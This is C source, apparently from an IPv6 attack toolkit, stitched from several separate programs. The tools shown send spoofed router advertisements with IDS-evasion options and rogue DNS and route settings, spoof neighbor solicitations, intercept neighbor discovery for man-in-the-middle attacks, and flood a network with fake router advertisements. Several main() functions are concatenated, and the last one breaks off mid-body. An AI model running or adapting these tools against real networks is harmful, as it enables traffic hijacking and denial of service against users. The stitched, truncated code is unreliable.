void send_rs_reply(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
unsigned char *pkt = NULL, *dstmac = (unsigned char *) data + 6, *dst = (unsigned char *) data + 14 + 8, *ipv6hdr = (unsigned char *) (data + 14);
int pkt_len = 0, cnt, i;
if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERSOL || header->caplen < 14 + 40 + 2)
return;
if ((pkt = thc_create_ipv6_extended(frint, PREFER_LINK, &pkt_len, frip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0)
return;
}
if (do_frag) {
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, frbuf, frbuflen, 0) < 0)
return;
if (do_dst) {
thc_generate_pkt(frint, frmac, dstmac, pkt, &pkt_len);
frhdr = (thc_ipv6_hdr *) pkt;
thc_send_as_fragment6(frint, frip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
} else {
if (thc_generate_and_send_pkt(frint, frmac, dstmac, pkt, &pkt_len) < 0)
return;
}
pkt = thc_destroy_packet(pkt);
}
int main(int argc, char *argv[]) {
char *interface, mac[16] = "", dmac[16] = "";
unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL;
unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2";
unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1];
unsigned char *dst = thc_resolve6("ff02::1");
unsigned char *dstmac = thc_get_multicast_mac(dst);
int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0;
unsigned char *pkt = NULL, *searchlist = NULL;
int pkt_len = 0;
pcap_t *p;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
memset(rbuf, 0, sizeof(rbuf));
memset(mac, 0, sizeof(mac));
while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) {
switch (i) {
case 'i':
interval = atoi(optarg);
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4],
(unsigned int *) &dmac[5]);
dstmac = dmac;
break;
case 'S':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
mac6 = mac;
break;
case 's':
if ((ip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg);
exit(-1);
}
break;
case 'M':
mtu = atoi(optarg);
if (mtu < 0 || mtu > 65535) {
fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg);
exit(-1);
}
if (mtu < 1228 || mtu > 1500)
fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu);
break;
case 'n':
to_send = atoi(optarg);
if (to_send < 1 || mtu > 255) {
fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg);
exit(-1);
}
break;
case 'A':
if (pcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES);
exit(-1);
}
if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
exit(-1);
}
*ptr++ = 0;
if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-)
fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg);
exit(-1);
}
if (size != 64)
fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size);
if (index(optarg, ':') == NULL)
strcat(optarg, "::");
if ((routerip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg);
exit(-1);
}
pbuf[pcnt][0] = size % 256;
memcpy((char *) &pbuf[pcnt][1], routerip6, 16);
pcnt++;
break;
case 'a':
plife = atoi(optarg);
break;
case 'r':
rlife = atoi(optarg);
break;
case 'd':
dlife = atoi(optarg);
break;
case 'l':
llife = atoi(optarg);
break;
case 'T':
reach = atoi(optarg);
break;
case 't':
trans = atoi(optarg);
break;
case 'p':
if (strncasecmp(optarg, "low", 3) == 0)
prio = 0;
else
if (strncasecmp(optarg, "med", 3) == 0)
prio = 1;
else
if (strncasecmp(optarg, "hi", 2) == 0)
prio = 2;
else
if (strncasecmp(optarg, "res", 3) == 0)
prio = 3;
else {
fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg);
exit(-1);
}
break;
case 'R':
if (rcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES);
exit(-1);
}
if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) {
fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg);
exit(-1);
}
*ptr++ = 0;
if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-)
fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg);
exit(-1);
}
if (index(optarg, ':') == NULL)
strcat(optarg, "::");
if ((routerip6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg);
exit(-1);
}
rbuf[rcnt][0] = size % 256;
memcpy((char *) &rbuf[rcnt][1], routerip6, 16);
rcnt++;
break;
case 'D':
if (dcnt >= MAX_ENTRIES) {
fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES);
exit(-1);
}
if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg);
exit(-1);
}
break;
case 'L':
searchlist = optarg;
break;
case 'E':
if (optarg == NULL) {
fprintf(stderr, "Error: no option type given for -E\n");
exit(-1);
}
for (j = 0; j < strlen(optarg); j++) {
switch (optarg[j]) { // fall through to be fail safe on accidental misuse
case '0': // fall through
case 'O':
do_overlap = 1;
break;
case 'o':
do_overlap = 2;
break;
case '1': // fall through
case 'l': // fall through
case 'L':
do_frag++;
break;
case 'h': // fall through
case 'H':
do_hop = 1;
break;
case 'd': // fall through
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]);
exit(-1);
}
if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) {
fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n");
exit(-1);
}
}
break;
case 'F':
ptr = strtok(optarg, ",");
while (ptr != NULL) {
if (strncasecmp(ptr, "man", 3) == 0)
flags = (flags | 128);
else if (strncasecmp(ptr, "oth", 3) == 0)
flags = (flags | 64);
else if (strncasecmp(ptr, "hom", 3) == 0)
flags = (flags | 32);
else if (strncasecmp(ptr, "prox", 4) == 0)
flags = (flags | 4);
else if (strncasecmp(ptr, "res", 3) == 0)
flags = (flags | 2);
else if (strncasecmp(ptr, "unk", 3) == 0)
flags = (flags | 1);
else {
fprintf(stderr, "Error: unknown flag: %s\n", ptr);
exit(-1);
}
ptr = strtok(NULL, ",");
}
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if ((argc - optind) < 1 || (argc - optind) > 2)
help(argv[0]);
if (do_hdr_size)
myoff = do_hdr_size;
interface = argv[optind];
if (argc - optind == 2)
if ((dst = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]);
exit(-1);
}
if (mtu == 0)
mtu = thc_get_mtu(interface);
if (mac6 == NULL)
if ((mac6 = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if (ip6 == NULL)
if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) {
fprintf(stderr, "Error: IPv6 is not enabled on interface %s\n", interface);
exit(-1);
}
// if (dns == NULL)
// dns = thc_resolve6("ff02::fb");
frint = interface;
frip6 = ip6;
frmac = mac6;
frbuf = buf;
frbuf2 = buf2;
frbuf2len = sizeof(buf2);
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if (llife > 0xffff)
llife = 0xffff;
llife = (llife | 0xff000000);
if (prio == 2)
llife = (llife | 0x00080000);
else if (prio == 0)
llife = (llife | 0x00180000);
else if (prio != 1)
llife = (llife | 0x00100000);
llife = (llife | (flags << 16));
buf[0] = reach / 16777216;
buf[1] = (reach % 16777216) / 65536;
buf[2] = (reach % 65536) / 256;
buf[3] = reach % 256;
buf[4] = trans / 16777216;
buf[5] = (trans % 16777216) / 65536;
buf[6] = (trans % 65536) / 256;
buf[7] = trans % 256;
// option mtu
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
i = 16;
// mac address option
buf[i++] = 1;
buf[i++] = 1;
memcpy(buf + i, mac6, 6);
i += 6;
// option prefix, put all in
if (pcnt > 0)
for (j = 0; j < pcnt; j++) {
buf[i++] = 3;
buf[i++] = 4;
buf[i++] = pbuf[j][0]; // prefix length
buf[i++] = 128 + 64;
buf[i++] = plife / 16777216;
buf[i++] = (plife % 16777216) / 65536;
buf[i++] = (plife % 65536) / 256;
buf[i++] = plife % 256;
buf[i++] = (plife / 2) / 16777216;
buf[i++] = ((plife / 2) % 16777216) / 65536;
buf[i++] = ((plife / 2) % 65536) / 256;
buf[i++] = (plife / 2) % 256;
i += 4; // + 4 bytes reserved
memcpy(&buf[i], (char *) &pbuf[j][1], 16);
i += 16;
}
// route option, put all in
if (rcnt > 0)
for (j = 0; j < rcnt; j++) {
buf[i++] = 0x18; // routing entry option type
buf[i++] = 0x03; // length 3 == 24 bytes
buf[i++] = rbuf[j][0]; // prefix length
if (prio == 2)
buf[i++] = 0x08; // priority, highest of course
else if (prio == 1)
buf[i++] = 0x00;
else if (prio == 0)
buf[i++] = 0x18;
else
buf[i++] == 0x10;
buf[i++] = rlife / 16777216;
buf[i++] = (rlife % 16777216) / 65536;
buf[i++] = (rlife % 65536) / 256;
buf[i++] = rlife % 256;
memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16); // network
i += 16;
}
// dns option
if (dcnt > 0)
for (j = 0; j < dcnt; j++) {
buf[i++] = 0x19; // dns option type
buf[i++] = 0x03; // length
i += 2; // reserved
buf[i++] = dlife / 16777216;
buf[i++] = (dlife % 16777216) / 65536;
buf[i++] = (dlife % 65536) / 256;
buf[i++] = dlife % 256;
memcpy(buf + i, dbuf[j], 16); // dns server
i += 16;
}
// dns searchlist option
if (searchlist != NULL) {
buf[i] = 31;
buf[i + 4] = dlife / 16777216;
buf[i + 5] = (dlife % 16777216) / 65536;
buf[i + 6] = (dlife % 65536) / 256;
buf[i + 7] = dlife % 256;
if (searchlist[strlen(searchlist) - 1] == '.')
searchlist[strlen(searchlist) - 1] = 0;
m = 0;
while ((ptr = strstr(searchlist, ".,")) != NULL) {
m = strlen(ptr);
for (l = 1; l < m; l++)
ptr[l - 1] = ptr[l];
ptr[m - 1] = 0;
}
l = 0;
m = 0;
j = strlen(searchlist);
do {
k = 0;
ptr = index(&searchlist[l], '.');
if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) {
k = 1;
ptr = index(&searchlist[l], ',');
}
if (ptr != NULL)
*ptr = 0;
n = strlen(&searchlist[l]);
buf[i + 8 + m] = n;
memcpy(&buf[i + 8 + m + 1], &searchlist[l], n);
if (ptr == NULL)
l = j;
else
l += 1 + n;
m += 1 + n;
if (k || ptr == NULL)
m++; // end of domain entry
} while (l < j && ptr != NULL);
if (m % 8 > 0)
m = ( (m / 8) + 1 ) * 8;
buf[i + 1] = m/8 + 1;
i += m + 8;
}
frbuflen = i;
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
return -1;
}
if (do_frag) {
type = NXT_FRAG;
for (j = 0; i < do_frag; j++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0)
return -1;
if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
return -1;
frhdr = (thc_ipv6_hdr *) pkt;
//printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap);
// init pcap
if ((p = thc_pcap_init(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
exit(-1);
}
printf("Starting to advertise router (Press Control-C to end) ...\n");
while (sent < to_send || to_send > 255) {
if (do_dst) {
thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232);
} else if (do_overlap) {
if (do_overlap == 1)
thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
else
thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
}
while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
sent++;
if (sent != to_send || to_send > 255)
sleep(interval);
}
return 0; // never reached
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, buf[24], buf2[6], buf3[1500];
unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", *mac = srcmac;
int pkt1_len = 0, flags, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, offset = 14;
char *interface;
int rawmode = 0;
thc_ipv6_hdr *hdr;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
while ((i = getopt(argc, argv, "DFHr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 2)
help(argv[0]);
if (do_hdr_size)
offset = do_hdr_size;
interface = argv[optind];
if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
exit(-1);
}
if (argc - optind >= 3 && argv[optind + 2] != NULL)
dst6 = thc_resolve6(argv[optind + 2]);
else
dst6 = thc_resolve6("ff02::1");
if (dst6 == NULL) {
fprintf(stderr, "Error: could not resolve destination of solicitate: %s\n", argv[optind + 2]);
exit(-1);
}
if (rawmode == 0) {
if (argc - optind >= 4 && argv[optind + 3] != NULL)
sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &srcmac[0], (unsigned int *) &srcmac[1], (unsigned int *) &srcmac[2], (unsigned int *) &srcmac[3],
(unsigned int *) &srcmac[4], (unsigned int *) &srcmac[5]);
else
mac = thc_get_own_mac(interface);
}
if (argc - optind >= 5 && argv[optind + 4] != NULL)
src6 = thc_resolve6(argv[optind + 4]);
else
src6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
if (mac == NULL || src6 == NULL) {
fprintf(stderr, "Error: invalid interface %s or invalid mac/ip defined\n", interface);
exit(-1);
}
memset(buf, 0, sizeof(buf));
memcpy(buf, unicast6, 16);
buf[16] = 1;
buf[17] = 1;
memcpy(&buf[18], mac, 6);
flags = 0; // ICMP6_NEIGHBORADV_OVERRIDE;
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6)
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORSOL, 0, flags, (unsigned char *) &buf, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
printf("Starting solicitation of %s (Press Control-C to end)\n", argv[optind + 1]);
while (1) {
if (do_dst) {
hdr = (thc_ipv6_hdr *) pkt1;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240);
} else {
thc_send_pkt(interface, pkt1, &pkt1_len);
}
sleep(5);
}
return 0;
}
int main(int argc, char *argv[]) {
char dummy[24], mac[16] = "", buf2[6], buf3[1398];
unsigned char *ownmac = mac;
int i, j;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
if (debug)
printf("Preparing spoofed packet for speed-up\n");
while ((i = getopt(argc, argv, "FHDRl")) >= 0) {
switch (i) {
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'R':
do_reverse = 1;
break;
case 'l':
do_loop = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
interface = argv[optind];
if (argc - optind == 2 && argv[optind + 1] != NULL)
sscanf(argv[optind + 1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
(unsigned int *) &mac[5]);
else
ownmac = thc_get_own_mac(interface);
if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
memset(dummy, 'X', sizeof(dummy));
dummy[16] = 2;
dummy[17] = 1;
memcpy(&dummy[18], ownmac, 6);
memset(buf2, 0, sizeof(buf2));
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (i = 0; i <= 0 + do_reverse; i++) {
// printf("i: %d\n", i);
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, dummy, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
ptype = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (ptype == NXT_ICMP6)
ptype = NXT_FRAG;
for (j = 0; j < do_frag; j++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (ptype == NXT_ICMP6)
ptype = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_SOLICIT | ICMP6_NEIGHBORADV_OVERRIDE | ICMP6_NEIGHBORADV_ROUTER, dummy, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, ownmac, dummy, pkt, &pkt_len) < 0)
return -1;
ipv6 = (thc_ipv6_hdr *) pkt;
memset(ipv6->pkt + 56 + (do_dst * 1400) + (do_hop + do_frag) * 8, 0, 2); // reset checksum to zero
if (debug) {
thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet");
printf("\n");
}
// printf("i: %d, do_reverse: %d\n", i, do_reverse);
if (i == 0 && do_reverse) {
// printf("ipv62->ipv6 %p\n", ipv6);
ipv62 = ipv6;
ipv62->pkt[0] = 0x33; // multicast mac hack for destination
ipv62->pkt[1] = 0x33; // multicast mac hack for destination
ipv6 = NULL;
pkt2 = pkt;
pkt = NULL;
pkt2_len = pkt_len;
pkt_len = 0;
ipv62->pkt[pkt2_len - 28] = 0xa0; // reset SOL flag, ROUTER+OVERRIDE only
}
}
signal(SIGTERM, kill_children);
signal(SIGSEGV, kill_children);
signal(SIGHUP, kill_children);
signal(SIGINT, kill_children);
memset((char*)pp, 0, sizeof(pp));
printf("Remember to enable routing (ip_forwarding), you will denial service otherwise!\n");
printf(" => echo 1 > /proc/sys/net/ipv6/conf/all/forwarding\n");
printf("Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ...\n");
return thc_pcap_function(interface, "icmp6", (char *) intercept, 1, NULL);
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, buf2[6], buf3[1500];
unsigned char *gateway6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", *mac = NULL;
int pkt1_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, offset = 14;
char *interface;
thc_ipv6_hdr *hdr;
int src4 = 0, dst4 = 0, port = -1, sport = 10240 + getpid() % 10240;
if (argc < 5 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]);
while ((i = getopt(argc, argv, "DFHs:m:p:")) >= 0) {
switch (i) {
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
case 'm':
mac = srcmac;
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]);
break;
case 's':
if ((src6 = thc_resolve6(optarg)) == NULL) {
fprintf(stderr, "Error: invalid IPv6 source address specified: %s\n", optarg);
}
break;
case 'p':
sport = atoi(optarg);
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 4)
help(argv[0]);
if (do_hdr_size)
offset = do_hdr_size;
interface = argv[optind];
if ((gateway6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]);
exit(-1);
}
// src ip4, dst ip4
if (inet_aton(argv[optind + 2], (struct in_addr *)&src4) < 0) {
fprintf(stderr, "Error: not a valid IPv4 address: %s\n", argv[optind + 2]);
exit(-1);
}
if (inet_aton(argv[optind + 3], (struct in_addr *)&dst4) < 0) {
fprintf(stderr, "Error: not a valid IPv4 address: %s\n", argv[optind + 3]);
exit(-1);
}
if (argc - optind > 4)
port = atoi(argv[optind + 4]);
if (mac == NULL) {
if ((mac = thc_get_own_mac(interface)) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
}
if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, gateway6, 64, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6)
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_ipv4_rudimentary(pkt1, &pkt1_len, src4, dst4, sport, port) < 0)
return -1;
if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
printf("Sending IPv4 %s packet from %s to %s via 4to6 gateway %s\n", port == -1 ? "ICMPv4 ping" : "UDPv4", argv[optind + 2], argv[optind + 3], argv[optind + 1]);
if (do_dst) {
hdr = (thc_ipv6_hdr *) pkt1;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240);
} else {
thc_send_pkt(interface, pkt1, &pkt1_len);
}
return 0;
}
int main(int argc, char *argv[]) {
char *interface, mac[6] = "";
unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
unsigned char buf[56], buf2[6], buf3[1504];
unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
int size, mtu, i, type = NXT_ICMP6;
unsigned char *pkt = NULL;
int pkt_len = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, cnt, do_dst = 0;
thc_ipv6_hdr *hdr = NULL;
if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
help(argv[0]);
while ((i = getopt(argc, argv, "DFHr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 1)
help(argv[0]);
srand(time(NULL) + getpid());
setvbuf(stdout, NULL, _IONBF, 0);
interface = argv[optind];
mtu = 1500;
size = 64;
ip6 = malloc(16);
routerip6 = malloc(16);
route6 = malloc(16);
mac[0] = 0x00;
mac[1] = 0x18;
memset(ip6, 0, 16);
ip6[0] = 0xfe;
ip6[1] = 0x80;
ip6[8] = 0x02;
ip6[9] = mac[1];
ip6[11] = 0xff;
ip6[12] = 0xfe;
routerip6[0] = 0x2a;
routerip6[1] = 0x01;
routerip6[15] = 0x01;
memset(route6 + 8, 0, 8);
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
memset(buf, 0, sizeof(buf));
buf[1] = 250;
buf[5] = 30;
buf[8] = 5;
buf[9] = 1;
buf[12] = mtu / 16777216;
buf[13] = (mtu % 16777216) / 65536;
buf[14] = (mtu % 65536) / 256;
buf[15] = mtu % 256;
buf[16] = 3;
buf[17] = 4;
buf[18] = size;
buf[19] = 128 + 64 + 32;
memset(&buf[20], 255, 8);
buf[48] = 1;
buf[49] = 1;
printf("Starting to flood network with router advertisements on %s (Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
while (1) {
for (i = 2; i < 6; i++)
mac[i] = rand() % 256;
for (i = 2; i < 8; i++)
routerip6[i] = rand() % 256;
// ip6[9] = mac[1];
ip6[10] = mac[2];
ip6[13] = mac[3];
ip6[14] = mac[4];
ip6[15] = mac[5];
memcpy(route6, routerip6, 8);
memcpy(&buf[32], route6, 16);
memcpy(&buf[50], mac6, 6);
count++;
if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6)
type = NXT_FRAG;
for (i = 0; i < do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
return -1;
}
if (do_dst) {
if (type == NXT_ICMP6)
type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
return -1;
if (do_dst) {
thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
hdr = (thc_ipv6_hdr *) pkt;
thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + 14, hdr->pkt_len - 40 - 14, 1240);
} else {
if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
perror("");
return -1;
}
}
